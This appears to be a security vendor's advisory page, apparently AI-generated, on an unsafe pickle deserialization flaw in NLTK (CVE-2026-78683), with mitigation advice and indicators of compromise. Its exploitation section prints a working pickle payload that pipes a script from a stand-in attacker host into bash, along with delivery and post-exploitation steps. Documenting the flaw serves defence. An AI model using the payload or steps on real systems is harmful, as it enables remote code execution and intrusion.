CVE-2026-78683
Linux Debian vulnerability analysis and mitigation

Overview

CVE-2026-78683 is a critical unsafe pickle deserialization vulnerability in the NLTK (Natural Language Toolkit) Python library affecting all versions up to and including 3.9.4. The flaw resides in the TransitionParser.parse() method in nltk/parse/transitionparser.py, which calls pickle_load() with the default restricted=False parameter, enabling arbitrary Python code execution when a malicious model file is loaded. It was disclosed on August 11, 2026 via a GitHub Security Advisory (GHSA-rhp5-r9x4-f5g2) and published to the NVD on August 25, 2026. The vulnerability carries a CVSS v3.1 score of 9.6 (Critical) and a CVSS v4.0 score of 9.4 (Critical) (GitHub Advisory, Github Advisory DB).

Technical details

The root cause is CWE-502 (Deserialization of Untrusted Data). The pickle_load() function in nltk/picklesec.py supports two deserialization paths: a safe path via RestrictedUnpickler (when restricted=True) and an unsafe path via WarningUnpickler (the default). WarningUnpickler inherits from Python's standard pickle.Unpickler and does not override find_class(), meaning it permits arbitrary class and function resolution during deserialization. All production call sites — including transitionparser.py:557, chartparser_app.py:816, chartparser_app.py:2273, and chartparser_app.py:2311 — use the default restricted=False. An attacker crafts a malicious .pkl file embedding a pickle gadget chain (e.g., using __reduce__ to invoke os.system or subprocess.Popen) and causes a victim application to load it via TransitionParser().parse(depgraphs, modelFile). A working proof-of-concept is publicly documented in the security advisory (GitHub Advisory).

Impact

Successful exploitation allows an unauthenticated attacker to execute arbitrary Python code with the full privileges of the user or service account running the NLTK-dependent application. This results in complete compromise of confidentiality, integrity, and availability of the affected system. Researchers, data scientists, and automated ML pipelines that process externally sourced NLTK model files are particularly at risk, and exploitation could enable lateral movement, data exfiltration, or persistent backdoor installation (GitHub Advisory, Github Advisory DB).

Exploitability

A working proof-of-concept is publicly documented in the NLTK security advisory (GHSA-rhp5-r9x4-f5g2), demonstrating code execution via a crafted pickle file. As of the disclosure date, there is no evidence of active in-the-wild exploitation or threat actor attribution. The EPSS score is 0.0 and the vulnerability is not currently listed in the CISA KEV catalog. Exploitation requires user interaction in the form of loading a malicious model file, but no authentication or special privileges are needed on the attacker's side (GitHub Advisory, VulnCheck Advisory).

Exploitation steps

  1. Craft malicious pickle file: Create a Python script that generates a malicious .pkl file using the __reduce__ method to embed a gadget chain (e.g., os.system('touch /tmp/pwned') or a reverse shell command):
import pickle, os
class Exploit:
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/shell.sh | bash',))
with open('/tmp/malicious_model.pkl', 'wb') as f:
    pickle.dump(Exploit(), f)
  1. Deliver the malicious file: Place the crafted .pkl file at a location accessible to the target application — via a shared filesystem, a model repository, a file upload endpoint, or a supply-chain compromise of a model distribution channel.
  2. Trigger deserialization: Cause the victim application to call TransitionParser().parse(sentences, '/path/to/malicious_model.pkl'). This can be achieved by social engineering a researcher, exploiting an automated ML pipeline that fetches and loads external model files, or compromising a model storage location.
  3. Code execution: The pickle_load(f) call at transitionparser.py:557 routes through WarningUnpickler, which does not restrict class resolution. The embedded gadget chain executes arbitrary Python code with the privileges of the running process.
  4. Post-exploitation: Use the achieved code execution to establish persistence, exfiltrate data, or pivot to other systems on the network (GitHub Advisory).

Indicators of compromise

  • File System: Unexpected files created by the application process (e.g., /tmp/nltk_poc_triggered or similar artifacts); new scripts, cron jobs, or SSH keys added under the service account's home directory; presence of .pkl files in unusual locations (upload directories, temp folders, model repositories).
  • Process: Unusual child processes spawned by the Python interpreter running NLTK (e.g., bash, sh, curl, wget, python3 with unexpected arguments); reverse shell connections initiated from the application process.
  • Network: Unexpected outbound connections from the NLTK application host to external IPs or domains, particularly on non-standard ports; DNS lookups for attacker-controlled domains originating from the application server.
  • Logs: Application logs showing TransitionParser.parse() calls with model file paths pointing to user-supplied, temporary, or network-mounted locations; Python tracebacks or warnings from WarningUnpickler in application logs; absence of UnpicklingError where one would be expected on patched systems.

Mitigation and workarounds

Upgrade NLTK to version 3.10.0 or later, which fixes the vulnerability by routing all production deserialization through RestrictedUnpickler (GitHub Advisory). If immediate upgrade is not possible, apply the following workaround at all affected call sites by changing pickle_load(f) to pickle_load(f, restricted=True) in nltk/parse/transitionparser.py (line 557) and nltk/parse/chartparser_app.py (lines 816, 2273, 2311). Additionally, restrict model file loading to trusted, integrity-verified sources only, and consider sandboxing NLTK-based applications that process externally sourced model files. Running the application with a least-privilege service account limits the blast radius of any successful exploitation (VulnCheck Advisory).

Community reactions

The vulnerability was reported by researcher ekaf and published by NLTK maintainer alvations via GitHub Security Advisories on August 11, 2026. VulnCheck independently published an advisory highlighting the remote code execution risk. No significant broader media coverage or notable social media discussion has been observed beyond standard vulnerability aggregator entries as of the disclosure date (GitHub Advisory, VulnCheck Advisory).

Additional resources

  • GitHub Advisory — NLTK official security advisory (GHSA-rhp5-r9x4-f5g2) with full technical details and PoC
  • Github Advisory DB — GitHub Advisory Database entry for CVE-2026-78683
  • VulnCheck Advisory — VulnCheck advisory on NLTK RCE via unsafe pickle deserialization

SourceThis report was generated using AI

Related Linux Debian vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-78683CRITICAL9.4
  • Linux Debian logoLinux Debian
  • nltk
NoYesAug 25, 2026
CVE-2026-78682HIGH8.7
  • Linux Debian logoLinux Debian
  • nltk
NoYesAug 25, 2026
CVE-2026-78681HIGH8.7
  • Linux Debian logoLinux Debian
  • nltk
NoYesAug 25, 2026
CVE-2026-78680HIGH8.5
  • Linux Debian logoLinux Debian
  • nltk
NoYesAug 25, 2026
CVE-2026-78679HIGH7.1
  • Linux Debian logoLinux Debian
  • python-git
NoNoAug 25, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management